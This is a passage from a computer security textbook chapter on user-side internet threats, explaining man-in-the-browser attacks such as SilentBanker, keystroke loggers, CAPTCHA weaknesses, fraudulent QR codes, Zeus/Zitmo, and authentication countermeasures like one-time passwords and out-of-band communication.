The Internet—User Side
In this chapter:
-
Attacks against browsers
-
Attacks against and from websites
-
Attacks seeking sensitive data
-
Attacks through mobile apps
-
Attacks through email
In this chapter we move beyond the general programs of the previous chapter to more specific code that supports user interaction with the internet. Certainly, internet code has all the potential problems of general programs, and you should keep malicious code, buffer overflows, and trapdoors in mind as you read this chapter. However, in this chapter we look more specifically at the kinds of security threats and vulnerabilities that internet access makes possible. Our focus here is on the user or client side: harm that can come to an individual user interacting with internet sites. This chapter is just our first step toward the internet. In Chapter 5 we study operating systems, the support structure for browsers, apps, and all other programs that run on computing devices. Then, in Chapter 6 we look at security networking issues largely outside the user’s realm or control: problems such as interception of communications, replay attacks, and denial of service. Chapter 8 introduces the Internet of Things, the range of internet-connected devices beyond smartphones and computers.
People sometimes misunderstand terminology, so we open this chapter with definitions of two widely used and sometimes misused terms: the internet and the web. The internet is a network of computers and similar devices throughout the world. As of 2022, approximately 5 billion people use computers to access the internet. (The world population is approximately 8 billion people.) Email, streaming music and video, and cloud storage are all examples of uses of the internet. We investigate network security issues, particularly those of the internet, in Chapter 6 .
By contrast, the web (or its longer name, World Wide Web ) is a collection of pages , which are digital documents of content. Each page is stored on a website , the digital address of a computer, called a server , that can transmit this content on request. In 2022, the web had almost 2 billion websites. Most website servers are connected to and accessed from the internet; people access websites using programs called browsers that fetch and display webpages and sometimes pass user data back to the site. A search engine is a program that locates webpages matching a query from a user.
A simple analogy is that the internet is like a library building, and the web is the set of books in that library. A website might be the books on a single shelf in that library, and a browser is the kind librarian who takes a book from a shelf and opens it in front of a patron. A search engine is a librarian who consults the library’s catalog and suggests books that might be relevant to a question the patron posed. In this chapter we consider human interaction with the internet, especially involving browsers.
We begin this chapter by scrutinizing browsers, the software most users perceive as the gateway to the internet. As you already know, a browser plays a relatively simple role: It connects to a particular web address, fetches and displays content from that address, and transmits data from a user to that address or URL . Web browsers might be accessed from general computing equipment, such as a desktop, tablet, laptop, or mobile device. And sometimes the host for a browser is embedded in a more specific device, such as a treadmill’s video console or the control panel for a medical device. Mobile devices, such as telephones or watches, often include a browser as part of the pre-installed software. Mobile devices may also provide a platform for mobile apps that offer an alternative user interface to web-enabled services. We’ll look first at browser security and then examine how mobile apps introduce other security issues.
Browsers raise security concerns in several ways, such as these:
-
One webpage can include links to other pages (often at other addresses), so some of the displayed content may come from a site other than the one shown in the browser’s address bar. Thus, users cannot rely on the apparent address as an indicator of a page’s security.
-
Browser software can be corrupted to perform malicious functions, or the pages they access can perform malicious acts.
-
Popular browsers support add-ons: extra code to add new features to the browser. But these add-ons, which may be written by people other than the browser developers, can include corrupting code.
-
Data display involves a rich command set that controls rendering, positioning, motion, layering, resizing, and even invisibility. Malicious content does not always cause an effect the user can see.
-
The browser can access any data on a user’s computer, subject to access control restrictions. Generally, the browser runs with the same privileges as the user, so the browser can access, modify, or broadcast any of the user’s data.
-
Some data transfers to and from the user are automatic, meaning they can occur without the user’s knowledge or explicit permission.
When you are not connected to the internet, you can take actions to protect your programs and data. For example, on your local computer, you might constrain a spreadsheet program so it can access files in only certain directories. You can run photo-editing software offline to ensure that photos are not released to the outside. You can even inspect the binary content of a document to search for hidden content you do not want to share.
Browsers connect users to outside networks, but few users can monitor the actual data transmitted and received.
Unfortunately, none of these cautionary actions applies to browsers. By their very nature, browsers interact with the outside network, and for most users and uses, it is infeasible to monitor the source, destination, or content of those network interactions. Many internet interactions are initiated on a device at site A but then connect the device automatically to sites B, C, and D, often without the user’s knowledge, much less permission. Worse, once data arrive at a site, the user has no control over what that site does with the data.
Clicking a link or entering data in a text box on a browser’s displayed page sends an immediate signal to the server hosting the webpage or to an address the page specifies. The browser can also transmit data and fetch or receive new content even without the user’s knowledge (or consent). Seldom is there a complete log to show what a browser has communicated. Not surprisingly, browsers are a popular and effective route for attacking a user’s device and data. Browsers are ubiquitous, and they offer many vulnerabilities for attack, as shown in Figure 4-1 , which shows the cumulative number of vulnerabilities discovered to 2022 in the major browsers (Google Chrome, Mozilla Firefox, Microsoft Internet Explorer, Apple Safari, Opera, and Microsoft Edge), as reported by cvedetails.com . (Note that these counts represent total vulnerabilities, regardless of severity, over the product’s entire lifetime.)
FIGURE 4-1 Number of Vulnerabilities Discovered in Browsers
With this list of potential vulnerabilities involving browsers, it is no wonder attacks on internet users happen with alarming frequency. When major vendors release patches to code, browsers are often involved. In this chapter we look at security issues involving browsers or websites and directed maliciously against the user.
4.1 Browser Attacks
Assailants go after a browser for many reasons: to obtain sensitive information directly, such as account numbers or authentication passwords; to entice the user to reveal information, for example, using pop-up advertisements; to corrupt data or block a user’s access to the internet; or to install malware. We describe four attack vectors against a browser:
-
Go after the operating system so it will impede the browser’s correct and secure functioning.
-
Intercept or modify communication to or from the browser.
-
Tackle the browser or one of its components, add-ons, or plug-ins so its activity is altered.
-
Modify the code or content of a website.
We begin this section by looking at vulnerabilities of browsers and websites, describing the nature of such attacks and ways to counter them.
Browser Attack Types
Because so many people use them, browsers are inviting to attackers. A paper book is just what it appears; there is no hidden agent that can change the text on a page depending on who is reading. Telephone, television, and radio are pretty much the same: A signal from a central point to a user’s landline telephone, television, or radio is usually uncorrupted or, if it is changed, the change is often major and easily detected, such as static or a fuzzy image. Thus, people naturally expect the same fidelity from a browser, even though browsers are programmable devices and signals are exposed to subtle modification during communication.
In this section we describe several attacks carried out through browsers.
Man-in-the-Browser
A man-in-the-browser attack is an example of malicious code that has infected a browser. Code inserted into a browser can read, copy, and redistribute anything the user enters in the browser. A major threat here is that the attacker will intercept and reuse credentials to access financial accounts and other sensitive data.
Man-in-the-browser: Trojan horse that intercepts data passing through the browser.
In January 2008, security researchers led by Liam Omurchu of Symantec detected a new Trojan horse, which they called SilentBanker. This code linked to a victim’s browser as an add-on or browser helper object; in some versions it listed itself as a plug-in to display video. As a helper object, it set itself to intercept internal browser calls, including those to receive data from the keyboard, send data to a URL, generate or import a cryptographic key, read a file (including display that file on the screen), or connect to and download data from a site; this list includes pretty much everything a browser does.
SilentBanker started with a list of over 400 URLs of popular banks throughout the world. Whenever it saw a user going to one of those sites, it redirected the user’s keystrokes through the Trojan horse and recorded customer details that it forwarded to remote computers (presumably controlled by the code’s creators).
Banking and other financial transactions are ordinarily protected in transit by an encrypted session, using a protocol named SSL or HTTPS (which we explain in Chapter 6 ) and identified by a lock icon on the browser’s screen. This protocol means that the user’s communications are encrypted during transit. But remember that cryptography, although powerful, can protect only what it can control. Because SilentBanker was embedded within the browser, it intruded into the communication process as shown in Figure 4-2 . When the user typed data, the operating system passed the characters to the browser. But before the browser could encrypt its data to transmit to the bank, SilentBanker intervened, acting as part of the browser. Notice that this timing vulnerability would not have been countered by any of the other security approaches banks use, such as an image that only the customer will recognize or two-factor authentication (explained in Chapter 2 ). Furthermore, the URL in the address bar looked and was authentic because the browser actually did maintain a connection with the legitimate bank site. The add-on copied data before it was encrypted and sent to the actual bank.
FIGURE 4-2 SilentBanker Operates in the Middle of the Browser
The illustration shows a man working in a desktop computer, sitting at a computer table. An arrow labeled, user types corresponds to this man. An arrow from user types points toward a curved arrow. A polygon labeled, SilentBanker intercepts corresponds to the curved arrow. Another rightward arrow from the curved arrow points to a rightward arrow labeled, browser encrypts. Browser encrypts leads to another rightward arrow labeled, encrypted data transferred to bank. An illustration of a building labeled, bank corresponds to this rightward arrow.
SSL encryption is applied in the browser; data are vulnerable before being encrypted.
As if intercepting details such as name, account number, and authentication data were not enough, SilentBanker also changed the effect of customer actions. So, for example, if a customer instructed the bank to transfer money to an account at bank A, SilentBanker converted that request to make the transfer go to the attacker’s own account at bank B, which the customer’s bank duly accepted as if it had come from the customer. When the bank returned its confirmation, SilentBanker changed the details before displaying them on the screen: thus, to the customer, the confirmation screen showed a transfer to A, as expected. The customer discovered the switch only after the funds failed to show up at bank A.
A variant of SilentBanker intercepted other sensitive user data, using a display like the details shown in Figure 4-3 . Users see many data request boxes, and this one looks authentic. The request for token value might strike some users as odd, but many users would see the bank’s URL on the address bar and dutifully enter private data.
FIGURE 4-3 Additional Data Obtained By Man-in-the-Browser
The text on the page reads as follows. Please fill in the fields below. Customer I D, User I D, Password, Token Value, and Email address. The text at the bottom left corner of the page reads, forgot your password? Click here (underlined and in bold font). A graphic at the bottom right corner reads, U R Bank.
As you can see, man-in-the-browser attacks can be devastating because they interact with a valid, authenticated user. The Trojan horse could slip neatly between the user and the bank’s website, so all the bank’s content still looked authentic. SilentBanker had little impact on users, but only because it was discovered relatively quickly, and virus detectors were able to eradicate it promptly. Nevertheless, this piece of code demonstrates how powerful such an attack can be.
Keystroke Logger
We introduce another attack approach that is similar to a man-in-the-browser. A keystroke logger (or key logger ) is either hardware or software that records keystrokes entered by the user. The logger may retain these keystrokes for future use by the attacker or send them immediately to the attacker across a network connection.
As a hardware device, a keystroke logger is usually a small object that plugs into a USB port, resembling a plug-in wireless adapter or flash memory stick. Of course, to compromise a computer you have to have physical access to install (and later retrieve) the device. You also need to conceal the device so the user will not notice the logger (for example, installing it on the back of a desktop machine). In software, the logger is just a program installed like any malicious or nonmalicious code. Such attacks can capture all data typed on the keyboard, including passwords, login identities, and account numbers. Not limited to browser interactions, a keystroke logger could record all keyboard input to the computer.
Page-in-the-Middle
A page-in-the-middle attack is another type of browser attack in which a user is redirected to another page. Similar to the man-in-the-browser attack, a page attacker might wait until a user has navigated to a particular website and then present a fictitious page for the user. As an example, when the user clicks [login] to go to the login page of a site, the attack might redirect the user to the attacker’s page, where the attacker can also capture the user’s credentials.
The admittedly slight difference between these two browser attacks is that the man-in-the-browser action is an example of an infected browser that may never alter the sites visited by the user but works behind the scenes to capture information. In a page-in-the-middle action, the attacker redirects the user’s browser, presenting different webpages for the user to see.
Program Download Substitution
Coupled with a page-in-the-middle attack is a download substitution. In a download substitution , the attacker presents a page with a desirable and seemingly innocuous program for the user to download, for example, a browser toolbar or a photo organizer utility. What the user does not know is that instead of or in addition to the intended program, the attacker downloads and installs malicious code.
A user agreeing to install a program has no way to know what that program will actually do.
The advantage for the attacker of a program download substitution is that users have been conditioned to be wary of program downloads, precisely for fear of downloading malicious code. In this attack, the user knows of and agrees to a download, not realizing what code is actually being installed. (Then again, users seldom know what really installs after they click [Yes].) This attack also defeats users’ access controls that would normally block software downloads and installations because the user intentionally accepts this software.
User-in-the-Middle
A different form of attack puts a human between two automated processes so that the human unwittingly helps spammers register automatically for free email accounts.
A CAPTCHA is a puzzle that supposedly only a human can solve, so a server application can distinguish between a human who makes a request and an automated program generating the same request repeatedly. Think of websites that request votes to determine the popularity of television programs. To avoid being fooled by bogus votes from automated program scripts, the voting sites sometimes ensure interaction with an active human by using CAPTCHAs (an acronym for Completely Automated Public Turing test to tell Computers and Humans Apart—sometimes finding words to match a clever acronym is harder than doing the project itself).
The earliest CAPTCHA puzzle was a string of numbers and letters displayed in a crooked shape against a grainy background, perhaps with extraneous lines, like the images in Figure 4-4 ; the user has to recognize the string and type it into an input box. Distortions are intended to defeat optical character recognition (OCR) software that might be able to extract the characters. However, historians want to be able to interpret imperfect images, for example, scans of handwritten text or copies from old, faded, or damaged documents. OCR programs using artificial intelligence techniques are getting better at identifying characters, and these improvements also mean the OCR programs are getting better at interpreting the challenge strings of CAPTCHAs. Furthermore, the more engineers distort the characters in the challenge, the harder it becomes for real humans to recognize the symbols, especially for people with vision problems. So security professionals cannot distort the images too much. The line is fine between what a human can still interpret and what is too distorted for pattern recognizers to handle, as described in Sidebar 4-1 .
FIGURE 4-4 CAPTCHA Examples
The captcha on top reads, F (uppercase), t (lowercase), G(uppercase), K (uppercase), Q(uppercase). There is a curved horizontal line on the letters. The captcha below reads, y x c g 5. All letters are in lowercase. A horizontal line runs over the letters.
Sidebar 4-1 CAPTCHA? Gotcha!
We have seen how CAPTCHAs were designed to take advantage of how humans are better at pattern recognition than are computers. But CAPTCHAs, too, have their vulnerabilities, and they can be defeated with the kinds of security engineering techniques we present in this book. As we have seen in every chapter, a wily attacker looks for a vulnerability to exploit and then designs an attack to take advantage of it.
Jeff Yan and Ahmad Salah El Ahmad [ YAN11 ] defeated CAPTCHAs by focusing on invariants—things that do not change even when the CAPTCHAs distort them. They investigated CAPTCHAs produced by major web services, including Google, Microsoft, and Yahoo. A now-defunct service called CAPTCHAservice.org provided CAPTCHAs to commercial websites for a fee. Each of the characters in that service’s CAPTCHAs had a different number of pixels, but the number of pixels for a given character remained constant when the character was distorted—an invariant that allowed Yan and El Ahmad to differentiate one character from another without having to recognize the character. Yahoo’s CAPTCHAs used a fixed angle for image transformation. Yan and El Ahmad pointed out that “exploiting invariants is a classic cryptanalysis strategy. For example, differential cryptanalysis works by observing that a subset of pairs of plaintexts has an invariant relationship preserved through numerous cipher rounds. Our work demonstrates that exploiting invariants is also effective for studying CAPTCHA robustness.” (We describe differential cryptanalysis in Chapter 12 .)
Yan and Ahmad successfully used simple techniques to defeat the CAPTCHAs, such as pixel counts, color-filling segmentation, and histogram analysis. And they defeated two kinds of invariants: pixel level and string level. A pixel-level invariant can be exploited by processing the CAPTCHA images at the pixel level, based on what does not change (such as number of pixels or angle of character). String-level invariants do not change across the entire length of the string. For example, Microsoft in 2007 used a CAPTCHA with a constant length of text in the challenge string; this invariant enabled Yan and El Ahmad to identify and separate connected characters. Reliance on dictionary words is another string-level invariant; as we saw in Chapter 2 ’s discussion of dictionary-based passwords, the dictionary limits the number of possible choices.
So how can these vulnerabilities be eliminated? By introducing some degree of randomness, such as an unpredictable number of characters in a string of text. Yan and El Ahmad recommend “introduc[ing] more types of global shape patterns and hav[ing] them occur in random order, thus making it harder for computers to differentiate each type.” Google’s CAPTCHAs allow the characters to run together; it may be possible to remove the white space between characters, as long as readability does not suffer. Yan and El Ahmad point out that this kind of security engineering analysis leads to more robust CAPTCHAs, a process that mirrors what we have already seen in other security techniques, such as cryptography and software development.
The next type of CAPTCHA involved solving simple word problems, on the order of “how much is three plus two?” Alas, machine learning is also getting better at interpreting text and deriving answers. (Remember that the IBM computer Watson beat a pair of human champions in a round of the television quiz show Jeopardy in 2011, answering far more challenging questions than three plus two.)
Google’s reCAPTCHA code implements another challenge for humans. It shows users some pictures, usually 9 or 12, and challenges the user to mark all those containing some feature: cars, traffic lights, crosswalks, animals, or bridges, for example. As pattern recognition improves, computer algorithms can be expected to find stop signs directly in the presented pictures.
Google has now introduced a new version of reCAPTCHA that uses a proprietary technique that Google claims distinguishes humans by characteristics of the interaction, such as how long it takes before a user enters a data item or where a user pauses when typing. The advantage for the user is that this test is invisible, working just from normal activity. Google claims this check is highly reliable; because of its low impact, users and site designers also like it. Some security analysts worry that programs will be able to discern and simulate the traits this reCAPTCHA examines.
Other difficulties with CAPTCHA are human ones. First, basic CAPTCHA forms are visual: identify words or pick out images. Vision-impaired users cannot solve such challenges. Sometimes the challenge offers an audio version on request, although one study by the National Federation for the Blind found that vision-impaired people were able to solve only 46% of audio CAPTCHA challenges. Challenges have to be readily solvable by people with average intelligence and those not fully fluent in the target language. How can you find pictures with crosswalks if you do not know the word “crosswalk”? Some users find the challenge frustrating or annoying. Taking away from the user experience is not good business. CAPTCHA screening certainly does increase the likelihood that the user side of a computer interaction is a human. Whether the human is a happy user may be a different question. ( Figure 4-5 shows an amusing spoof of CAPTCHA puzzles.)
FIGURE 4-5 CAPTCHA Spoof
The text in the page reads as follows. Just to prove you are a human, please answer the following math challenge. Q Calculate: partial derivative of open square bracket 4 times sine open parenthesis 7 times x minus Pi over 2 close parenthesis close bracket, limit x equals 0. A followed by a blank textbox. The text below the textbox reads, mandatory. The text at the bottom of the page reads, Note: If you do not know the answer to this question, reload the page and you'll get another question.
In 2022, Apple announced its Private Access Token (PAT) process, intended to replace CAPTCHAs on Apple devices ( appleinsider.com/articles/22/06/14/how-apple-could-kill-captchas-with-private-access-tokens ). Unlike CAPTCHAs, PATs work in the background, authenticating an HTTP request without any user involvement. Apple tracks each user’s behavior by noting user characteristics each time the user logs into a device or opens the Safari browser; the combination of characteristics is almost impossible for a bot to replicate. The PAT process uses authentication certificates residing in Apple’s Secure Enclave. When a client needs authentication, the system contacts Apple as “attester,” verifying that the usage patterns are typical.
Security is provided in several ways, including restricting information.
-
The server knows neither the requesting device nor the identity of the person accessing it. It trusts the attester, validates the token, and allows the user to access the destination website.
-
Device data are isolated and not shared with any other part of the PAT process.
-
The website knows only the URL and client IP address.
-
Tokens are single-use, to limit replay attacks where a client tries to use the same token multiple times.
Apple is trying to make PATs a web standard, but as of this writing, there are no plans for PATs to work with other operating systems, such as Android or Windows.
How Browser Attacks Succeed: Failed Identification and Authentication
Faulty authentication of something received by the browser is the central failure exploited by these in-the-middle attacks; if the source of a message is not assured, the content cannot be either. In this section we consider authentication in different contexts.
Human Authentication
As we first stated in Chapter 2 , authentication is based on something you know, are, or possess. People use these qualities all the time in developing face-to-face authentication. Examples of human authentication techniques include a driver’s license or identity card, a note of introduction from a mutual acquaintance or trusted third party, a picture (for recognition of a face), a shared secret, or a word. (The original use of “password” was a word spoken to a guard to allow the speaker to pass a checkpoint.) Because we humans exercise judgment, we develop a sense for when an authentication is adequate and when something just doesn’t seem right. Of course, humans can also be fooled, as described in Sidebar 4-2 .
Sidebar 4-2 Colombian Hostages Freed by Man-in-the-Middle Trick
In 2002, Colombian guerrillas captured presidential candidate Ingrid Betancourt along with other political prisoners. The captors were part of the FARC organization, a Marxist group that originated in 1964 as the military wing of the Colombian Communist Party. The guerrillas considered Betancourt and three U.S. contractors to be their most valuable prisoners. The captives were liberated in 2008 through a scheme involving two infiltrations: one infiltration of the local group that held the hostages, and the other of the central FARC command structure.
Having infiltrated the guerrillas’ central command organization, Colombian defense officials tricked the local FARC commander, known as Cesar, into believing the hostages were to be transferred to the supreme commander of the FARC, Alfonso Cano. Because the infiltrators knew that Cesar was unacquainted with most others in the FARC organization, they exploited their knowledge by sending him phony voice telephone calls, purportedly from Cano’s staff, advising him of the plan to move the hostages. Cesar was told to have the hostages—Betancourt, the Americans, and 11 other Colombians—ready for helicopters to pick them up. The two plain white helicopters, loaded with soldiers playing the parts of guerillas better than some professional actors could, flew into the FARC camp.
Agents on the helicopters bound the hostages’ hands and loaded them on board; Cesar and another captor also boarded the helicopter. Once airborne, the soldiers quickly overpowered the captors. Betancourt and the others really believed they were being transferred to another FARC camp, but the commander told her they had come to rescue her; only when she saw her former captor Cesar lying bound on the floor did she really believe she was finally free.
Infiltration of both the local camp and the senior command structure of FARC let the Colombian defense accomplish this complex man-in-the-middle attack. During elaborate preparation, infiltrators on both ends intruded on and manipulated the telephone communication between Cesar and Cano. The man-in-the-middle ruse was tricky because the interlopers had to be able to represent Cesar and Cano in real time, with facts appropriate for the two FARC officials. When boxed in with not enough knowledge, the intermediaries dropped the telephone connection, something believable given the state of the Colombian telecommunications network at the time.
In Chapter 2 we explore human-to-computer authentication that used sophisticated techniques such as biometrics and so-called smart identity cards. Although this field is advancing rapidly, human usability needs to be considered in such approaches: Few people will, let alone can, memorize many unique, long, unguessable passwords, for example. These human factors can affect authentication in many contexts because humans often have a role in authentication, even of one computer to another. But fully automated computer-to-computer authentication has additional difficulties, as we describe next.
Computer-to-Computer Authentication
When a user communicates online with a bank, the communication is really user-to-browser, browser-to-user’s computer (through the operating system), and user’s computer-to-bank’s computer. Although the bank performs authentication of the user, the user has little sense of having authenticated the bank. Worse, the user’s browser and computer in the middle interact with the bank’s computing system, but the user does not actually see or control that interaction. What is needed is a reliable path from the user’s eyes and fingers to the bank, but that path passes through an opaque browser, computer, and network. See Sidebar 4-3 for a variation of the fraudulent path dilemma.
Sidebar 4-3 Fraudulent QR Codes
You have probably encountered QR (quick response) codes, the funny pattern of squares that encodes a URL or website address. Point your phone’s camera at the QR code, take a picture, and your phone opens a browser that connects to the website of the URL. Restaurants use them to present menus and accept food orders, advertisements use them to direct users to websites, and museums use them to present multimedia descriptions of displays. The problem is authenticity: How do you know the QR code actually directs you (only) to your expected destination?
In January 2022, the Federal Bureau of Investigation (FBI) warned that cybercriminals were tampering with QR codes for fraudulent purposes. Austin, Texas, police warned that criminals had pasted QR code stickers on parking meters to entice victims to pay for parking by following the QR code (which led to a scam site to extract money from a victim’s bank account or credit card).
The link in a QR code can direct the user to an unintended website and trick the user into downloading and installing malicious code. Some smartphone applications display the website URL, so the user can know the destination address before taking further action. But scammers use the old trick of slightly misspelling a site name, such as goggle.com instead of google.com , expecting that at least some users will not notice the change. One piece of malware actually resided for a while in the Google Play Store as a QR code scanner to download and install on an Android phone. (The camera app on most phones can scan QR codes without needing a separate app.)
QR codes offer simplicity over long user-unfriendly URLs. However, their opacity makes them a good vehicle for transmitting malicious code.
Computer-to-computer authentication uses the same three primitives as human authentication, with obvious variations. There are relatively few ways to use something a computer has or is for authentication. If a computer’s address or a component’s serial number cannot be spoofed, that is a reliable authenticator, but spoofing or impersonation attacks can be subtle. Computers do not innately “know” anything, but they can remember (store) many things and derive many more. The problem, as you have seen with topics such as cryptographic key exchange, is how to develop a secret shared by only two computers.
In addition to obtaining solid authentication data, you must also consider how authentication is implemented on a computer. Essentially every output of a computer is controlled by software that might be malicious. If a computer presents a prompt for a user’s password, software can direct that computer to save the password and later reuse or repeat it to another process, as was the case with the SilentBanker man-in-the-browser attack. If authentication involves computing a cryptographic result, the encryption key has to be placed somewhere during the computing, and it might be susceptible to copying by another malicious process. On the other end, if software can interfere with the authentication-checking code to make any value succeed, authentication is compromised. Thus, vulnerabilities in authentication include not just the authentication data but also the processes used to implement authentication. Halperin et al. [HAL08a] present a chilling description of this vulnerability in their analysis of radio control of implantable medical devices such as pacemakers. We explore such exposures in Chapter 8 when we consider security implications of the Internet of Things.
Your bank takes steps to authenticate you, but how can you authenticate your bank?
Even if we put aside for a moment the problem of initial authentication, we also need to consider the problem of continuous authentication: After one computer has been authenticated to another and is ready to engage in some kind of data exchange, each computer has to monitor for a wiretapping or hijacking attack by which a new computer might enter into the communication, falsely alleging to be the authenticated one, as depicted in Figure 4-6 .
FIGURE 4-6 Without Continuous Authentication, Neither End Can Trust the Other (Baby courtesy of Brian A Jackson/Shutterstock; computer courtesy of viktorus/123RF)
The illustration shows a baby sitting with a laptop computer and staring straight. A speech bubble corresponding to the computer reads, I am the computer of the great and powerful warlord and sultan of Frangipane. An arrow from this speech bubble points toward another speech bubble on the right that corresponds to another laptop computer. This speech bubble reads, and I am the computer complex of the multinational megaconglomerate Universal Everything. An leftward arrow from this speech bubble points toward the other speech bubble.
What might seem to be just a user-to-remote process interaction actually goes through several points of vulnerability, as shown in Figure 4-7 . A user almost never interacts directly with a computing device; a keyboard (physical or virtual) or touch screen, applications, and the resident operating system of the computer device are all in the middle, as are the hardware and software at the remote end.
FIGURE 4-7 Multiple Points of User-to-Remote Application Vulnerability
The illustration shows a set of devices that are linked by bidirectional arrows. The information presented is as follows. A user is linked to the user's keyboard. The user's keyboard is linked to a mobile phone. The user's keyboard is linked to the user's application. The mobile phone is linked to user's devices (computer, phone). The user's device is linked to user's network access which is linked to a remote host. The remote host is linked to remote application and data.
In September 2017, Equifax, one of the three major U.S. credit reporting agencies, suffered a massive data breach, exposing data from over 140 million people. Stolen data included names, addresses, birthdates, social security numbers, credit card numbers, and other sensitive data. In 2020, the U.S. Justice Department indicted four officers of the Chinese People’s Liberation Army (PLA) accused of perpetrating the 2017 hack against Equifax. (As long as these individuals stay outside the United States, they cannot be prosecuted.)
The less-reported story of that time period was a second attack on Equifax users. As described by security researcher Jerry Decime [ DEC17 ], the Equifax application by which users communicated with Equifax was also insecure. The code properly established a secure (encrypted) connection between the user’s device and the remote host. However, not all communication was transmitted using the encrypted link, meaning an attacker could intercept and modify some traffic between the ends. Decime demonstrated that modifying the unencrypted traffic could allow an attacker to cause the Equifax application to display on the user’s device whatever the attacker wanted, for example, soliciting authentication credentials or other sensitive data, all while seeming to be Equifax. To its credit, after being alerted, Equifax quickly pulled the faulty application code and sent an immediate update to disable code that users had already installed until Equifax could post a new, more secure version.
Sometimes overlooked in the authentication discussion is that credibility is two-sided: The system needs assurance that the user is authentic, but the user needs that same assurance about the system. This second issue has led to a new class of computer fraud called phishing, in which an unsuspecting user submits sensitive information to a malicious system impersonating a trustworthy one. (We explore phishing later in this chapter.) Common targets of phishing attacks are banks and other financial institutions: Fraudsters use the sensitive data they obtain from customers to take customers’ money from the real institutions. Other phishing attacks are used to plant malicious code on the victim’s computer.
Thus, authentication is vulnerable at several points:
-
Usability and accuracy can conflict for identification and authentication: A more usable authentication system may be less accurate. But users demand ease of use, and at least some system designers pay attention to these user demands.
-
Computer-to-computer interaction allows limited bases for authentication. Computer authentication is mainly based on what the computer “knows,” that is, stored or computable data. But stored data can be located by unauthorized processes, and what one computer can compute so can another.
-
Malicious software can undermine authentication by eavesdropping on (intercepting) the authentication data and allowing it to be reused later. Well-placed attack code can also wait until a user has completed authentication and then interfere with the content of the authenticated session.
-
Each side of a computer interchange needs assurance of the authentic identity of the opposing side. This is true for human-to-computer interactions as well as for computer-to-human.
The specific situation of man-in-the-middle attacks described earlier in this chapter gives us some interesting countermeasures to apply for identification and authentication.
Successful Identification and Authentication
Appealing to everyday human activity gives some ideas for computer-to-computer authentication. We now look at authentication approaches for ways to broaden them from humans to computers.
Shared Secret
A basic way to authenticate is using a shared secret, something only the two entities wanting to authenticate should know. A human man-in-the-middle attack can be defeated if one party asks the other a pointed question about a dinner they had together, details of a recent corporate event, or some other common topic. Similarly, a shared secret for computer systems can help authenticate. Possible secrets could involve the time or date of last login, time of last update, or size of a particular application file. A non-forgeable signature on a file is another form of shared secret that can confirm the file as authentic.
To be effective, a shared secret must be something no malicious middle agent can know.
One-Time Password
As its name implies, a one-time password is good for only one use. To use a one-time password scheme, the two end parties need to have a shared secret list of passwords (or a way to generate such shared passwords as needed). When one password is used, both parties mark the word off the list and use the next word the next time. The list must be unpredictable; that is, an outsider should not be able to determine the next password, even if all previously used passwords are known.
Computers can compute new password values easily, although the challenge is preventing another from being able to compute the same result. In Chapter 12 , we give an overview of secure algorithms for two computers to derive a secret they share.
Out-of-Band Communication
Out-of-band communication means transferring one fact along a communication path separate from that of another fact. For example, bank card PINs are always mailed separately from the bank card so that if the envelope containing the card is stolen, the thief cannot use the card without the PIN. Similarly, if a customer calls a bank about having forgotten a PIN, the bank does not simply provide a new PIN in that conversation over the phone; the bank mails a separate letter containing a new PIN to the account holder’s address on file. In this way, if someone were impersonating the customer, the PIN would not go to the impersonator. Some banks confirm large internet fund transfers by sending a text message to the user’s mobile phone. However, as Sidebar 4-4 indicates, mobile phones are also subject to man-in-the-middle attacks.
Sidebar 4-4 Man-in-the-Mobile Attack
The Zeus (also spelled ZeuS) Trojan horse is one of the most prolific pieces of malicious code. It is often hidden within innocuous code, for example, in legitimate banking code or on e-commerce websites; it can also be transferred in a drive-by download attack, which we describe later in this chapter, in which malicious code is downloaded to a computer simply by a user’s visiting an infected website. Zeus is configurable, easy for an attacker to use, and effective. Its owners continually update and modify it, to the extent that security firm Symantec has counted over 70,000 variations of the basic code. Zeus was originally privately held; around 2011 the source code for Zeus was made public, and since then, the exploit has proliferated. In 2012 and 2014, the U.S. FBI announced criminal indictments against the alleged mastermind behind Zeus, Yevgeniy Bogachev, believed to still be in his home country of Russia; in 2017, the U.S. Department of State offered a US$3 million reward for his arrest or conviction.
Zeus has taken on the mobile phone messaging market too. According to security firm S21Sec, Zeus now has an application that can be unintentionally downloaded to smartphones; using SMS messaging, Zeus communicates with its command and control center. But because it is installed in the mobile device, it can also block or alter text messages sent by a financial institution to a customer’s mobile phone, notably by inserting its own request for a user’s authentication credentials. Kaspersky security labs has dubbed this variant Zitmo, for Zeus-in-the-mobile.
The U.S. Defense Department formerly used a secure telephone called a STU-III in the late 1990s and early 2000s. A customer placed a call and, after establishing voice communication with the correct party on the other end, both parties pressed a button for the phones to enter secure mode; the phones then encrypted the rest of the conversation. As part of the setup for going into secure mode, the two phones together derived a random number that they then displayed in a panel on the phone. To protect against a man-in-the-middle attack, callers vocally recited the number so that both parties could agree they had the same number on their phone’s window. A wiretapper in the middle might be able to intercept the initial call setup and call the intended recipient on a second STU-III phone. Then, sitting with the earpiece of one STU-III up against the mouthpiece of the other, the intruder could perform a man-in-the-middle attack. However, these two phones would establish two different sessions and display different random numbers, so the end parties would know their conversation was being intercepted because, for example, one participant would hear the number 101 but see 234 on the display. The STU-III relied on analog telephony, so the phone had to encrypt and decrypt analog sounds. By the early 2000s, telephone service began to convert to digital, especially using the VoIP (voice over IP) protocol. Digital data can easily be encrypted using secure encryption algorithms. Thus, newer secure telephone units have been built on digital platforms. The synchronization number to foil a man-in-the-middle attack remains a significant and useful security contribution of the STU-III design, however.
As these examples show, the use of some outside information, either a shared secret or something communicated out of band, can foil a man-in-the-middle attack.
Continuous Authentication
In several places in this book, we argue the need for a continuous authentication mechanism. Although not a perfect approach, strong encryption does go a long way toward a solution.
If two parties carry on an encrypted communication, an interloper wanting to enter into the communication must break the encryption or cause it to be reset with a new key exchange between the interceptor and one end. (This latter technique is known as a session hijack, which we study in Chapter 6 .) Both of these attacks are complicated but not impossible. However, encrypted communication is foiled if the attacker can intrude in the communication pre-encryption or post-decryption. These problems do not detract from the general strength of encryption to maintain authentication between two parties. But be aware that encryption by itself is not a magic fairy dust that counters all security failings, and that misused cryptography can impart a false sense of security.
Encryption can provide continuous authentication, but care must be taken to set it up properly and guard the end points.
These mechanisms—signatures, shared secrets, one-time passwords, and out-of-band communications—are all ways of establishing a context that includes authentic parties and excludes imposters. They are appropriate for computer-to-computer authentication.
4.2 Attacks Targeting Users
We next consider two classes of situations involving webpage content. The first kind involves false content, most likely because the content was modified by someone unauthorized; with these, the intent is to mislead the viewer. The second, more dangerous, kind seeks to harm the viewer.
False or Misleading Content
